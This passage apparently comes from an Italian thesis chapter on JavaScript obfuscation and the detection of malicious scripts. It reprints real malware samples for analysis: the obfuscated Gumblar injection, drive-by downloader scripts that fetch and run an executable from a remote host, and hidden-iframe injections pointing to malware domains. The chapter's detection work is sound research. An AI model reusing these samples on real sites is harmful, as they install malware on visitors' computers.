rete, si pu` osservare che esiste un numero ingen- o te di programmi appartenenti alla categoria JavaScript obfuscator. Essi provvedono all’offuscamento automatico di codice JavaScript. Solitamente questi programmi intervengono sul codice in esame compiendo tutte o quasi le seguenti operazioni: • eliminazione dei commenti; • eliminazione degli spazi inutili; • rinomina delle funzioni; • rinomina dei parametri; 3 Reverse engineering: processo mediante il quale si cerca di scoprire i principi sui quali si basa un dispositivo, un software o un qualsiasi prodotto finito attraverso l’analisi della sua struttura, delle funzionalit` e delle operazioni che questo svolge. a 4 Overhead : con questo termine si definiscono le risorse accessorie, richieste in sovrappi` rispetto u a quelle strettamente necessarie, per ottenere un determinato scopo in seguito all’introduzione di un metodo o di un processo pi` evoluto o pi` generale. u u
    • 29 Programmi per offuscare codice JavaScript • rinomina delle variabili; • rinomina dei metodi; • accorpamento del codice in un’unica riga; • compressione del codice. 5.3.1 Primo esempio di funzionamento di un JavaScript obfuscator Il primo esempio, volto a chiarire il funzionamento di un JavaScript obfuscator, ` preso e dal sito di un programma che compie la menzionata trasformazione sul codice [7]. 1 function foo ( arg1 ) 2 { 3 var myVar1 = " some string " ; // first comment 4 var intVar = 24*3600; // second comment 5 /* here is 6 a long 7 multi - line comment */ 8 document . write ( " vars are : " + myVar1 + " " + intVar + " " + arg1 ) ; 9 } Codice 5.1: Frammento di codice JavaScript da offuscare Quando il JavaScript obfuscator in questione effettua il parsing del codice, vengono eliminati gli spazi, i commenti e gli accapo. Inoltre, i nomi di funzioni, i parametri e le varibili vengono rimpiazzati con stringhe composte casualmente, ai valori degli inte- ri subentrano equazioni complesse, mentre le stringhe da visualizzare a schermo sono sostituite dai loro valori esadecimali. Il risultato ottenuto ` il seguente: e 1 function z001c775808 ( z3833986e2c ) { var z0d8bd8ba25 = " x73 x6f x6d x65 x20 x73 x74 x72 x69 x6e x67 " ; var z0ed9bcbcc2 =(0 x90b +785 -0 xc04 ) *(0 x1136 +6437 -0 x1c4b ) ; document . write ( " x76 x61 x72 x73 x20 x61 x72 x65 x3a " + z0d8bd8ba25 + " x20 " + z0ed9bcbcc2 + " x20 " + z3833986e2c ) ;} Codice 5.2: Stesso frammento di codice JavaScript dopo l’offuscamento Si elencano le sostituzioni apportate nelle tre categorie: • nomi di funzioni, parametri e variabili definiti dall’utente: – foo ` sostituito con z001c775808; e – arg1 ` sostituito con z3833986e2c; e – myvar1 ` sostituito con z0d8bd8ba25; e – intvar ` sostituito con z0ed9bcbcc2; e • valori di numeri interi:
    • 5. Offuscamento 30 – 20 ` sostituito con (0x90b+785-0xc04); e – 3600 ` sostituito con (0x1136+6437-0x1c4b); e • stringhe da visualizzare a schermo: – vars are ` sostituita con x76x61x72x73x20x61x72x65x3a; e – gli spazi sono sostituiti con x20. 5.3.2 Secondo esempio di funzionamento di un JavaScript obfuscator In questo paragrafo si riporta un ulteriore esempio di codifica del codice operato da un altro JavaScript obfuscator (l’esempio ` tratto dal sito del programma stesso [8]). e Il seguente codice javascript calcola lo stipendio di ogni impiegato presente nella lista “aEmployees” di oggetti “Employees”. Questo esempio di offuscamento rientra nella prima tipologia di utilizzi citati nella sezione 5.1, infatti, gli scopi principali sono la protezione e la compressione del codice. 1 function CalculateSalary ( aEmployees ) 2 { 3 var nEmpIndex = 0; 4 while ( nEmpIndex < aEmployees . length ) 5 { 6 var oEmployee = aEmployees [ nEmpIndex ]; 7 oEmployee . fSalary = C a l cu l a te B a se S a la r y ( oEmployee . nType , 8 oEmployee . nWorkingHours ) ; 9 if ( oEmployee . bBonusAllowed == true ) 10 { 11 oEmployee . fBonus = C a l c u l a t e B o n u s S a l a r y ( oEmployee . nType , 12 oEmployee . nWorkingHours , 13 oEmployee . fSalary ); 14 } 15 else 16 { 17 oEmployee . fBonus = 0; 18 } 19 oEmployee . sSalaryColor = GetSalaryColor ( oEmployee . fSalary + 20 oEmployee . fBonus ) ; 21 nEmpIndex ++; 22 } 23 } Codice 5.3: Frammento di codice JavaScript da offuscare Dando in pasto questo codice al JavaScript obfuscator, ci` che ne risulta ` il successivo o e frammento:
    • 31 JavaScript come veicolo di contenuti maligni 1 function c ( g ) { var m =0; while ( m <g . length ) { var r = g [ m ]; r . l = d ( r .n , r . o ) ; if ( r . j == true ) { r . k = e ( r .n , r .o , r . l ) ;} else { r . k =0;} r . t = f ( r . l + r . k ) ; m ++;}} Codice 5.4: Stesso frammento di codice JavaScript dopo l’offuscamento 5.4 JavaScript come veicolo di contenuti maligni Se, come detto precedentemente, la presenza di una porzione di codice offuscato non implica che quel codice sia necessariamente infetto, ` comunque ragionevole ritenere che e chi scriva del codice con contenuto maligno sia portato ad offuscarlo. Per questo motivo, nel seguito, si delinea un elenco di attacchi che possono essere effettuati anche tramite codice JavaScript. • Denial of Service: l’attacco DoS cerca di portare il funzionamento di un server al limite delle prestazioni, fino a renderlo non pi` in grado di erogare il servizio. u Script JavaScript possono essere utilizzati dall’attaccante, per spedire una mole cos` ingente di richieste al server tale da metterlo fuori uso; ı • Cross-Site-Scripting: l’attacco definito anche XSS, appartiene alla tipologia injection, si tratta, quindi, di immissione di codice arbitrario in input alle pagine web. Il cross-site scripting consente di accedere a informazioni sensibili, rubare dati di sessione degli utenti, compromettere i browser web che essi utilizzano o, ancor peggio, l’integrit` del sistema su cui tali browser stanno eseguendo. a Gli attacchi alle vulnerabilit` XSS hanno effetti dirompenti per i siti con un ele- a vato numero di utenti, dato che ` sufficiente una sola compromissione per colpire e chiunque visiti la stessa pagina. Il primo passo di un attaccante sta nell’upload del proprio script malevolo all’in- terno del sito web designato ad ospitarlo. Il codice malevolo pu` essere inserito nel o sito: – deliberamente poich´ l’attaccante ne ` il proprietario; e e – sfruttando una vulnerabilit` del sistema operativo, o di livello Network o di a una delle zone del sito stesso. • Phishing: questo attacco mira ad ottenere l’accesso a informazioni personali o riservate tramite messaggi di posta elettronica che imitano grafica e logo dei siti istituzionali. L’email maligna indirizza il destinatario verso un sito web fasullo (apparentemente identico a quello fidato) che esorta la vittima a fornire informa- zioni riservate come codice fiscale, numero di conto corrente, numero di carta di credito e codici di identificazione.
    • 5. Offuscamento 32 Script Javascript possono essere utilizzati, ad esempio, per visualizzare una bar- ra degli indirizzi fasulli al posto di quella reale (cfr. [14]), altri per ottenere le informazioni volute dall’utente; • Pharming: tale attacco ` una forma di frode on-line molto simile al phishing. e I “pharmer” si affidano a siti web fasulli e al furto d’informazioni riservate per perpetrare truffe on-line. Invece di utilizzare false email, nelle quali inducono gli utenti a visitare determinati link, i “pharmer” reindirizzano le vittime direttamente sul sito web fasullo, anche quando queste digitano correttamente l’indirizzo di una banca o di altro servizio on-line; • Exploit: codice che, sfruttando un bug o una vulnerabilit`, porta all’acquisizione a di privilegi o al denial of service di un computer; • Drive-by downloads: con questo termine si definiscono tutti quei programmi che si insediano, in modo automatico, sul sistema dell’utente senza che questi abbia concesso la sua autorizzazione. Lo scenario tipico ` quello di un attaccante che inietta contenuti sotto il proprio e controllo all’interno di siti web considerati fidati. Tipicamente all’interno di questi siti viene inserito un link che inoltra il visitatore verso un URL il quale ospita uno script che sfrutta dei browser exploit dell’utente. Normalmente vengono utilizzati dei componenti HTML invisibili, quali ad esempio gli iframe, in siti nei quali ` possibile per il visitatore contribuire ai contenuti e come nei forum e blog. Senza un appropriato controllo del codice HTML inserito dall’utente si ha il rischio di compromettere il giusto funzionamento della pagina. A seguito dell’exploit iniziale che individua la vulnerabilit` del browser o di suoi a plug-in da sfruttare, l’attaccante inietta il codice (contenuto in uno script o in un iframe) che avvia la redirezione verso il server maligno dal quale parte automati- camente il download e l’esecuzione di malware sul computer della vittima. 5.5 Script JavaScript offuscati e maligni Quando un aggressore riesce ad infettare un sito web (sfruttando, ad esempio, vulne- rabilit` del sistema operativo installato sul server o dei software server in uso, oppure a servendosi di lacune nella configurazione di permessi utente o di sql injection), spesso inserisce nelle pagine una porzione di codice aggiuntivo offuscato, che diffonde l’infezione sui sistemi client mano a mano che gli utenti visitano quel sito. Ricorrendo all’uso di script JavaScript ` possibile celare un intero documento all’interno dello script. e A settembre 2009 il Chief Technology Officer di Websense, Dan Hubbard, dichiarava: “Gli ultimi sei mesi hanno dimostrato che gli hacker e i truffatori vanno dove ` presente e un elevato numero di persone sul Web e per questo motivo hanno incrementato gli attacchi su siti Web 2.0 anche molto affidabili, con l’intento di infettare gli utenti. Da
    • 33 Script JavaScript offuscati e maligni Twitter ai commenti blog fino ad attacchi su larga scala, i cybercriminali hanno cercato di attaccare un numero sempre crescente di utenti Internet” [10]. A maggio 2009 una ricerca condotta dagli esperti dei laboratori di Sophos5 aveva messo in evidenza come il malware denominato Troj/JSRedir-R, o pi` comunementeu Gumblar, detenesse il 42% di tutte le infezioni rilevate a livello globale [11]. La diffusione del malware avveniva grazie a codice JavaScript offuscato. Il motivo del “successo” derivava dal fatto che Gumblar si nascondesse come codice offuscato in una molteplicit` di siti, effettivamente legittimi, contenenti script provenienti a da siti terzi. Nel momento in cui l’utente visitava una pagina infetta, la porzione di codice offuscato cercava di connettersi al sito http://www.gumblar.cn (la Cina ` attualmente e uno dei paesi maggiormente responsabili del diffondersi di infezioni informatiche6 ) da cui scaricare codice malevolo all’interno del sistema. Gumblar provvedeva ad installare falsi software antivirus (rogue antivirus), a sottrarre dati di login a server FTP, ad inviare spam, a disattivare i programmi utilizzati per la difesa del sistema nonch´ a modificare i e risultati delle ricerche operate tramite il motore di ricerca Google, indirizzando gli utenti verso siti fraudolenti. Le pagine infette contenevano il seguente script: 1 xR5p =3 D ’% ’; eval ( unescape (( ’ var " 20 a " 3 d " 22 Sc " 72 iptEngin " 65 " 22 " 2 c " 62 " 3 d " 22 " 5=6 ers " 69 on () + " 22 " 2 c " 6 a " 3 d " 22 " 22 " 2 cu " 3 dnavig " 61 t " 6 fr " 2 e " 75 s " 65 rAgent " 3 bif ((= " 75 " 2 eind " 65 xOf " 28 " 22 Win " 22) " 3 e0 ) " 26 " 26( u " 2 e " 69 n " 64 exO " 66( " 22 NT " 20 " 36 " 22 " =29 " 3 c0 ) " 26 " 26( documen " 74 " 2 ecookie " 2 e " 69 ndex " 4 f " 66 " 28 " 22 " 6 die " 6 b " 3 d1 " 22) " 3= c0 ) " 26 " 26 " 28 t " 79 " 70 e " 6 ff ( " 7 arvzts ) " 21 " 3 dtypeof ( " 22 A " 22) ) " 29 " 7 bzrvzts " 3 d " 2=2 A " 22 " 3 b " 65 va " 6 c ( " 22 if ( wi " 6 edow " 2 e " 22+ a + " 22 " 29 j " 3 d " 6 a + " 22+ a + " 22 M " 61 jo " 72 " =22+ " 62 " 2 ba + " 22 Minor " 22 " 2 bb + a + " 22 B " 75 " 69 ld " 22 " 2 bb " 2 b " 22 j " 3 b " 22) " 3 bdocu " 6 de = " 6 e " 74 " 2 ewr " 69 " 74 e ( " 22 " 3 csc " 72 ipt " 20 sr " 63 " 3 d " 2 f " 2 fgumblar " 2 ecn " 2 frss " 2 f " 3= fid " 3 d " 22+ j + " 22 " 3 e " 3 c " 5 c " 2 f " 73 cript " 3 e " 22 " 29 " 3 b " 7d ’) . replace ( jil , xR5p ) ) ) }=) (/ " / g ) ; Codice 5.5: Codice dello script presente nelle pagine infette Al momento dell’esecuzione dello script, un ulteriore script veniva automaticamente scaricato da http://www.gumblar.cn/rss/ ed eseguito. Se si scrutano attentamente le ultime tre righe dello script, questo fatto risulta evidente. Allo stato attuale, per prevenire l’esecuzione di script JavaScript maligni i web browser impongono due restrizioni che purtroppo non sono ancora sufficienti [3]: • Sandboxing: meccanismo che permette allo script di eseguire solo in una sand- box, un’area protetta e sorvegliata del sistema, per evitare il rischio di danneggiare tutta la macchina; un’applicazione, come un browser web, che esegue in una sand- box, viene isolata dal resto del sistema senza avere la possibilit` di alterarne le a configurazioni; 5 Sophos: azienda statunitense ma con sedi in tutto il mondo che sviluppa e vende soluzioni volte alla sicurezza informatica. 6 dal Google Technical Report provos-2008a si evince che il 67% dei server che diffondono malware e il 64% dei siti web che puntano ad essi sono ubicati in Cina [1].
    • 5. Offuscamento 34 • Same origin: meccanismo che permette ad uno script di accedere a metodi e propriet` di altri script originati solo da pagine dello stesso sito e che impone a delle restrizioni di sicurezza per impedire allo script le stesse operazioni nel caso di pagine provenienti da siti terzi. 5.6 Eval, cardine nell’offuscamento automatico Le tecniche atte all’offuscamento del codice solitamente fanno uso di espressioni regolari e operazioni su stringhe. Spesso, nel codice offuscato, si nota la presenza della funzione eval(); in questi casi, l’argomento della funzione si rivela codice offuscato che viene deoffuscato e conseguentemente eseguito proprio tramite eval(). Altre tecniche possono essere definite dal programmatore. Anche per questo motivo, l’individuazione automatica di codice offuscato ` un compito piuttosto arduo. e 5.6.1 Funzioni alla base dell’offuscamento Un codice a cui siano applicate tecniche di offuscamento, oltre a risultare illeggibile, almeno nella maggior parte dei casi, non ` eseguibile. Affinch` possa essere eseguito, un e e codice offuscato deve “essere in grado” di auto-deoffuscarsi. Queste tre operazioni, offuscamento, deoffuscamento ed esecuzione del codice, pos- sono essere rese da tre funzioni JavaScript native, di seguito elencate: • escape(): funzione utilizzata per codificare una stringa; • unescape(): funzione che opera in maniera opposta rispetto alla precedente, decodificando una stringa offuscata tramite escape(); • eval(): funzione che esegue una stringa trattandola come codice JavaScript; in sostanza eval() esegue la stringa di codice deoffuscato che le viene passata come argomento. 5.6.1.1 Semplice tecnica di deoffuscamento Una volta identificato lo script JavaScript maligno, se si evince che la tecnica impiegata per offuscare lo script ` quella automatica che sfrutta la compartecipazione fra le tre e funzioni citate nel paragrafo precedente, per visualizzare in maniera innocua il codice deoffuscato che viene caricato dal browser, ` sufficiente sostituire tutte le istruzioni e eval() e document.write() con alert(). Grazie alla sostituzione, il codice nocivo viene visualizzato in chiaro, sotto forma di finestra di dialogo, senza per` essere eseguito. o 5.6.2 Alternative alla funzione eval() Secondo lo studio [3] condotto ad aprile 2009 da Chuan Yue, Haining Wang, in molte circostanze viene fatto abuso dell’utilizzo di eval().
    • 35 Esempi di codici offuscati La ricerca statunitense, mette in risalto come almeno nel 70% dei casi la funzione eval() potrebbe essere sostituita da alternative meno sospette e pericolose. Nell’articolo stilato dai ricercatori vengono messi in luce tre frequenti casi di utilizzo scorretto della funzione sotto esame. • in normali circostanze, in JavaScript una variabile viene definita tramite l’uso di “var”. Talvolta ` necessario creare e inizializzare delle varibili a tempo di esecuzione e per poi accedervi in un momento successivo. Frequentemente, a tal scopo, viene utilizzata la funzione eval(). JavaScript, per`, fornisce al programmatore anche o un altro strumento per la creazione dinamica di variabili: l’oggetto window. Di seguito vengono riportati due esempi di creazione e accesso ad una variabi- le dinamica. La funzione eval(), presente nel primo esempio, viene sostituita dall’oggetto window nel secondo. 1 var id =1; 2 eval ( ’ name ’ + id + ’ = " Sara " ’) ; 3 document . write ( ’ got ’ + name1 ) ; Codice 5.6: Creazione dinamica di una variabile tramite la funzione eval() 1 var id =1; 2 window [ ’ name ’ + id ] = ’ Sara ’; 3 document . write ( ’ got ’ + name1 ) ; Codice 5.7: Creazione dinamica di una variabile tramite l’oggetto window • l’utilizzo di eval() per valutare “al volo” il contenuto di una risposta a una XMLHttpRequest7 ` spesso sfruttato per convertire tale contenuto in un oggetto e JSON 8 . Poich´ uno script pu` inettare del codice maligno all’interno della respon- e o seText, per compiere la trasformazione citata ` preferibile l’uso di un parser JSON e a dispetto di eval(); • la funzione eval() viene sfruttata anche per generare delle semplici espressioni che, altrimenti, possono essere originate dalla banale concatenazione di stringhe. Que- sto ` il caso di this.homePos=eval("0"+this.dirType+this.dim) che produce e semplicemente l’espressione “0-500”. 5.7 Esempi di codici offuscati In questa sezione vengono illustrati e analizzati alcuni esempi di script offuscati presenti in letteratura. 7 XMLHttpRequest: oggetto JavaScript che permette di fare richieste HTTP in background sia di tipo GET che di tipo POST. L’utilit` di questo oggetto consta nella possibilit` di visualizzare il risultato di a a una richiesta al server da parte del browser senza la necessit` di dover aggiornare la pagina web. a 8 JSON, JavaScript Object Notation: formato di testo per lo scambio di dati completamente indipendente dal linguaggio di programmazione
    • 5. Offuscamento 36 5.7.1 Primo esempio Di seguito si riporta un esempio di offuscamento di codice su diversi livelli. Lo script che contiene la funzionalit` vera e propria, che il browser deve eseguire, ` offuscato e a e incapsultato in un altro script il quale, a sua volta, risulta essere offuscato e inserito in un ulteriore script. L’esempio ` tratto dall’articolo The ghost in the browser. Analysis e of web-based malware [2]. Lo script “esterno” si presenta cos`ı: 1 < SCRIPT LANGUAGE = " Javascript " > 2 document . write ( unescape ( " %3 CHEAD %3 E %0 D %0 A %3 CSCRIPT %20 3 LANGUAGE %3 D %22 Javascript %22%3 E %0 D %0 A %3 C %21 - -%0 D %0 A 4 /*%20 criptografado %20 pelo %20 Fal %20 -%20 Deboa % E7 % E3o 5 ... 6 %3 C / BODY %3 E %0 D %0 A %3 C / HTML %3 E %0 D %0 A " ) ) ; 7 // - - > 8 </ SCRIPT > Codice 5.8: Codice dello script di terzo livello Deoffuscando l’argomento della funzione unescape() presente nel document.write(), ci` che ne risulta ` un ulteriore script JavaScript contente ancora codice offuscato: o e 1 < SCRIPT LANGUAGE = " Javascript " > 2 <! -- 3 /* criptografado pelo Fal - [...] 4 document . write ( unescape ( " %0 D %0 A %3 Cscript %20 language %3 D 5 %22 VBScript %22%3 E %0 D %0 A %0 D %0 A %20%20%20%20 on %20 error %20 6 resume %20 next %0 D %0 A %0 D %0 A %20%20%20%20%0 D %0 A %0 D %0 A %20%20 7 ... 8 D %0 A %0 D %0 A %20%20%20%20%3 C / script %3 E %0 D %0 A %3 C / html %3 E " ) ) ; 9 // -- > 10 </ SCRIPT > Codice 5.9: Codice dello script di secondo livello Procedendo al deoffuscamento di questo secondo livello, si scopre un ulteriore script, in cui per` il linguaggio JavaScript ` sostituito da VBScript. o e 1 < script language = " VBScript " > 2 on error resume next 3 dl = " http :// foto02122006 . xxx . ru / foto . scr " 4 Set df = document . createElement ( " object " ) 5 df . setAttribute " classid " , 6 " clsid : BD96C556 -65 A3 -11 D0 -983 A -00 C04FC29E36 " 7 str = " Microsoft . XMLHTTP " 8 Set x = df . CreateObject ( str , " " ) 9 ... 10 S . close 11 set Q = df . createobject ( " Shell . Application " ," " ) 12 Q . ShellExecute fname1 , " " ," " ," open " ,0
    • 37 Esempi di codici offuscati 13 </ script > Codice 5.10: Codice dello script di primo livello Quest’ultima parte di codice contiene un exploit che, al momento dell’esecuzione, provoca il download automatico di malware nel computer dell’utente. 5.7.2 Secondo esempio Viene qui riportato un esempio di come una pagina possa essere compromessa da un attaccante che, sfruttando un bug di un’applicazione web, sia in grado di introdurvi un iframe invisibile (le cui dimensioni sono nulle) che richiama uno script esterno. L’esempio ` stato tratto dal post [12] sul blog di Niels Provos, appartenente al Senior Staff Software e Engineer della Google Inc.. La riga di codice inserita nella pagina ` del tipo: e 1 < iframe src = " http :// www . somehost . com / ment / " width = " 0 " height = " 0 " > </ iframe > Codice 5.11: Iframe dalle dimensioni nulle Al caricamento della pagina, l’iframe incriminato provoca il download, da parte del browser, di un contenuto addizionale situato in un web server esterno. Analizzando l’incomprensibile contenuto di www.somehost.com/ment/, l’osservatore si trova davanti alla seguente porzione di codice JavaScript contente solo numeri: 1 < script > 2 t = " 60 ,115 ,99 ,114 ,105 ,112 ,116 ,32 ,108 ,97 ,110 ,103 ,118 ,97 ,103 ,101 ,61 , 106 ,97 ,118 ,97 ,115 ,99 ,114 ,105 ,112 ,116 ,62 ,13 ,10 ,118 ,97 ,114 ,32 ,117 , 114 ,108 ,44 ,112 ,97 ,116 ,104 ,44 ,118 ,97 ,114 ,49 ,44 ,118 ,97 ,114 ,50 ,44 , 118 ,97 , 3 [ many more lines of numbers ] 4 t = eval ( " String . fromCharCode ( " + t + " ) " ) ; document . write ( t ) ; </ script > Codice 5.12: Script puntato dal precedente iframe Il codice deoffuscato: 1 < script language = javascript > var url , path , var1 , var2 , var3 , var4 ; url = " http :// www . somehost . com / ment / bad . exe " ; path = " C : windows IsUno104 . exe " ; var1 = " Microsoft . xmlhttp " ; var2 = " Adodb . Stream " ; var3 = " Shell . Application " ; var var4_1 = " clsid : BD96C556 -65 A " ; var var4_2 = " 3 -11 D0 -983 A -00 C04FC29E36 " ; var4 = var4_1 + var4_2 ; try { var ado =( document . createElement ( " object " ) ) ; ado . setAttribute ( " classid " , var4 ) ; var xml = ado . CreateObject ( var1 , " " ) ; var as = ado . createobject ( var2 , " " ) ; xml . Open ( " GET " ,url ,0) ; xml . Send () ; as . type =1; as . open () ; as . write ( xml . responseBody ) ; as . savetofile ( path ,2) ; as . close () ; var shell = ado . createobject ( var3 , " " ) ; shell . Shell ( path , " " ," " ," open " ,0) ;} catch ( e ) {}; </ script > Codice 5.13: Codice dello script deoffuscato
    • 5. Offuscamento 38 Quest’ultimo script JavaScript provoca lo scaricamento di un eseguibile che risulta essere un Trojan-Downloader. Tale applicazione a sua volta ` in grado di scaricare e un numero arbitrario di altri eseguibili dai dubbi propositi, quali potrebbero essere la sottrazione di password dell’utente, ad esempio per compromettere account bancari, la visualizzazione di pop-up o l’utilizzo del computer dell’utente per spedire spam. 5.8 Iframe invisibili e maligni Sebbene in questa sezione non venga trattato il tema “iframe con contenuto offuscato”, la sezione non deve essere ritenuta fuoriluogo poich´ fra il concetto di iframe e quello di e offuscamento sussiste un legame indiretto ma lungi dal poter essere trascurato. Infatti, solitamente dietro ad un iframe “invisibile” si cela uno script offuscato. Il paragrafo 5.7.2 propone un esempio illuminante in tal senso. Esistono purtroppo, diverse tecniche per installare malware sul sistema dell’utente. Nel caso in cui un attacco del tipo browser exploit abbia successo, viene iniettato codice dannoso all’interno del sito web compromesso sfruttando una falla presente nel browser dell’utente. In molte situazioni, il nuovo contenuto ` un link che “dirotta” il visitatore e verso un URL che ospita uno script maligno. Per eludere il controllo visivo dei proprietari del sito web infettatto, spesso vengono utilizzati degli iframe “invisibili”, cio` iframe con altezza e larghezza nulle. e 5.8.1 Caratteristiche comuni ad iframe maligni Nel seguito si riportano alcuni esempi di iframe utilizzati come mezzo di browser exploit e ne si analizzano le caratteristiche. Gli esempi sono tratti da [13]. 1 < iframe src = " hxxp :// google - analyz . cn / count . php ? o =1 " width =0 height =0 style = " hidden " frameborder =0 marginheight =0 marginwidth =0 scrolling = no > </ iframe > Codice 5.14: Iframe reso invisibile dalle dimensioni nulle (width=0 e height=0). Si pu` notare che nell’iframe agli attributi width e height sono assegnati valori nulli. o Come riportato dal post cui si fa riferimento [13], nel momento in cui i programmi atti a scovare malware hanno cominciato a cercare iframe caratterizzati da width=0 e height=0, gli hackers hanno iniziato ad utilizzare iframe con un’unica dimensione nulla (essendo l’area dell’iframe data dal prodotto di altezza per lunghezza, qualora anche solo una delle due dimensioni sia nulla, l’area risulta comunque pari a 0 e di conseguenza l’iframe rimane invisibile). Nel seguente esempio solamente l’attributo height ` pari a 0. e 1 < iframe src = " hxxp :// a86x . homeunix . org :8080/ ts / in . cgi ? open2 " width =997 height =0 style = " visibility : hidden " > </ iframe > Codice 5.15: Iframe reso invisibile da un’unica dimesione nulla (height=0).
    • 39 La nostra analisi sull’offuscamento Una volta smascherata anche questa tattica, gli attaccanti hanno provveduto ad inserire iframe visibili ma “molto piccoli”. Un iframe che occupi pochi pixel viene visualizzato sullo schermo come un punto. Se a ci` si aggiunge il fatto che l’iframe venga posizionato nella parte estremamente o inferiore della pagina web infettata, la sua individuazione risulta estremamente difficile. 1 < iframe src = " hxxp :// yourlitetop . cn / ts / in . cgi ? mozila7 " width =2 height =4 style = " visibility : hidden " > </ iframe > Codice 5.16: Iframe di dimensioni minime e dunque difficilmente percepibile. L’invisibilit` dell’iframe pu` essere resa anche tramite l’attributo visibility:hidden. a o In tal modo l’iframe non viene visualizzato anche se il suo contenuto ` caricato dal e browser. 1 < iframe src = " hxxp :// combinebet . cn :8080/ index . php " width =180 height =141 style = " visibility : hidden " > </ iframe > Codice 5.17: Iframe reso invisibile dall’attributo visibility:hidden. Un’ulteriore strategia, per rendere invisibile un iframe, non opera direttamente sugli attributi dello stesso, bens` comporta l’inserimento dell’iframe maligno all’interno di un ı div9 invisibile. 1 < div style = " display : none " > 2 < iframe src = " hxxp :// red - wolf . ru :8080/ index . php " width =574 height =455 > 3 </ iframe > 4 </ div > Codice 5.18: Iframe non visibile perch` interno a un “contenitore” <div> invisibile. e La Figura 5.1 a pagina 40 illustra visivamente un attacco del tipo browser exploit con consecutivo drive-by download. 5.9 La nostra analisi sull’offuscamento Nella parte precedente del capitolo si ` cercato di fornire una panoramica sul tema e dell’offuscamento. Nel seguito sar` affrontato il nostro approccio all’argomento. Si scender` dunque pi` a a u nel dettaglio dell’analisi condotta su script, frame e iframe. Partendo dal presupposto che non ` disponibile una definizione di offuscamento del e codice JavaScript, abbiamo cercato di individuare due criteri per la determinazione au- tomatica del fatto che uno script sia offuscato o meno. Un criterio ` stato costruito e attraverso alcune elaborazioni, descritte nella sezione 5.9.1, compiute sulle propriet` a estratte dagli script, l’altro ` stato realizzato a partire da test, presentati nella sezione e 5.9.4, svolti da analisti di codice JavaScript. 9 <div>: tag HTML il cui nome ` l’abbreviazione di division. Viene utilizzato per dividere la pagina e in sezioni logiche.
    • 5. Offuscamento 40 Figura 5.1: Drive-by download a seguito di un attacco browser exploit Dopo le sezioni 5.9.1 e 5.9.4 sui procedimenti adottati per definire i due criteri di offuscamento, verranno effettivamente esaminati tali criteri. 5.9.1 Propriet` offuscate degli script a Analizzando alcuni degli script offuscati presenti in Ts , ` stato delineato un primo cri- e terio di offuscamento. Per ognuna delle propriet` estratte dagli script e descritte al a paragrafo 4.2.1 di pagina 25, ` stata fornita una corrispondente definizione di propriet` e a offuscata. Per chiarire possibili dubbi, si ricorda al lettore che da una pagina scaricata si ricavano n script. Quindi, da ogni script si estraggono le 14 propriet` elencate nella sezione 4.2.1. a Ciascuna propriet` dello script consiste in un insieme di items, ad esempio, considerando a la propriet` Function name, l’insieme di items ad essa associato ` costituito da tutti i a e nomi delle funzioni definite in quello script. Nel seguito di questa sezione per ciascuna propriet` si esaminano i criteri applicati a sul set di items associato, per estrarre da esso alcuni specifici items, che costituiscono la propriet` offuscata corrispondente alla propriet` considerata. a a Prima di approfondire il concetto di propriet` offuscata ` opportuno precisare la a e definizione di sequenza offuscata, coniata a seguito dello studio di Ts . 5.9.1.1 Definizione di sequenza offuscata Data una sequenza di caratteri s di lunghezza m, il numero n di caratteri offuscati presenti nella sequenza ` dato da: e
    • 41 La nostra analisi sull’offuscamento n= (li + 1) + t (5.1) i dove: • si identificano delle sottosequenze ssi di s. Tali sottoseguenze, che non si so- vrappongono, sono composte da un numero al massimo pari a 20 caratteri e sono comprese fra due caratteri speciali (come %sottosequenza%, &sottosequenza&, /sottosequenza/, sottosequenza, #sottosequenza#, |sottosequenza|); • li rappresenta il numero di caratteri che appartengono alla i -esima sottosequenza, ssi ; • t indica il numero di caratteri che non sono presenti in nessuna sottosequenza ssi , ma che appartengo al seguente insieme di caratteri: , /, |, !, ’, ”, £, $, %, &, +, -, @, #, *, §, ?, <, >, , ˆ ,, ., ;, :, =, (, ), [, ], {, }, x, , 1, 2, 3, 4, 5, 6, 7, 8, 9, 0. La percentuale di offuscamento p della seguenza s ` quindi data da: e n p= ∗ 100 (5.2) m 5.9.2 Il concetto di propriet` offuscata a Muovendo dalla precedente definizione, per gli items di ogni propriet` elencata al para- a grafo 4.2.1 di pagina 25, ` stato definito un criterio per stabilire in quali casi essi risultino e offuscati. Le 14 propriet` estratte possono essere sostanzialmente suddivise in due macro a categorie a seconda della loro tipologia: • nome (nei casi di funzioni e di variabili); • argomento (nei casi di document.write(), di iframe, di variabili, di eval(), di unescape(), di decode(), di exec(), di onerror(), di stringhe con pi` di 140 u caratteri). Per ciascuna categoria ` stato stabilito un criterio generale che ne decreti l’offusca- e mento. In due casi particolari di propriet` sono stati aggiunti altri parametri a quello a generale. Il nome risulta offuscato se si verificano entrambe le condizioni: • ` composto da pi` di 5 caratteri; e u • la sua percentuale di offuscamento, p, supera il 50%. L’argomento risulta offuscato se si verificano entrambe le condizioni:
    • 5. Offuscamento 42 • ha dimensione non nulla (o maggiore di 5 caratteri nel caso di variabili); • la sua percentuale offuscamento, p, supera il 70%; Nel caso di stringhe con pi` di 140 caratteri l’argomento ` offuscato anche se la u e percentuale di caratteri di punteggiatura ` minore del 5% rispetto al numero totale di e caratteri della stringa. Ci` fa s` che vengano considerate offuscate anche quelle stringhe o ı molto lunghe composte solamente, o per grossa parte, da lettere dell’alfabeto. Nel caso, invece, dell’argomento dell’elemento iframe, esso viene marchiato come offuscato anche se si verifica almeno una delle condizioni: • all’attributo visibility ` associato il valore hidden; e • all’attributo width ` associato un valore inferiore a 2; e • all’attributo height ` associato un valore inferiore a 2. e La Tabella 5.1 riassume per ogni propriet` il criterio di offuscamento. Essa ` com- a e posta da una riga per ogni propriet`. Mentre la prima colonna descrive la propriet`, a a ognuna delle rimanenti colonne specifica una condizione che pu` essere composta da pi` o u “sotto-condizioni” le quali devono tutte verificarsi affinch` la condizione possa ritenersi e soddisfatta. Un item di una propriet` ` offuscato se e solo se almeno una delle condizioni sussiste. ae 5.9.3 Esempi di propriet` offuscate a Per dissolvere qualsiasi possibile dubbio, nato dall’elenco delle condizioni che per ogni propriet` ne sanciscono l’offuscamento, viene ora proposta una carrellata di esempi a chiarificativi. Tutti gli esempi sono estratti degli script della tabella Ts . 5.9.3.1 Funzioni con nome offuscato In uno script memorizzato in Ts , vengono definite tre funzioni, dal nome evidentemente offuscato: c07b380984r0368a7, r32fdfe1768, re15d694d. 5.9.3.2 Varibili con nome offuscato In un altro script sono dichiarate undici variabili dai nomi “eloquenti”: a7044tf, a7044pu, a7044pf, a7044su, a7044sf, a7044of, a7044op, a7044ops, a7044ot, a7044d, 